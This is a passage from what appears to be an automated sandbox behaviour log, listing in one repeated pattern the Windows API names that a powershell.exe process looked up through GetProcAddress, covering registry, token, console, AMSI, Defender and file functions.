parameter SleepConditionVariableSRW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter 